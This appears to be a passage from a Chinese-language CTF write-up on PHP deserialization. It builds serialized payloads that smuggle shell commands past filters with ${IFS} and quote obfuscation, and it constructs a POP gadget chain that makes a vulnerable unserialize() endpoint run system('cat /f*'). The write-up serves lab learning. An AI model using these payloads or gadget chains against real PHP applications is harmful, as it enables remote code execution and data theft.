#$payload = new ease('ping', array('l\s${IFS}fl\ag_1s_here'));
# $payload = new ease('ping', array('l\s'));
$payload = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
echo base64_encode(serialize($payload));
//或者使用模糊匹配
$payload = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f*'));
实例2
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}
分析代码,构造pop链:
T->__destruct() ----> F->__toString() ----> C->flag() ----> SHCTF->__invoke()
$a = new T();
$a->n = new F();
$a->n->o = new C();
$a->n->o->p = new SHCTF();
$b = $a->n->o->p;
$b->isyou = 'system';
$b->flag = 'cat /f*';
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou;
public $flag;
}
$a = new SHCTF();
$a->isyou = "system";
$a->flag = "cat /f*";
$b = new C();
$b->p = $a;
$c = new F();
$c->o = $b;
$d = new T();
$d->n = $c;
echo base64_encode(serialize($d));
?>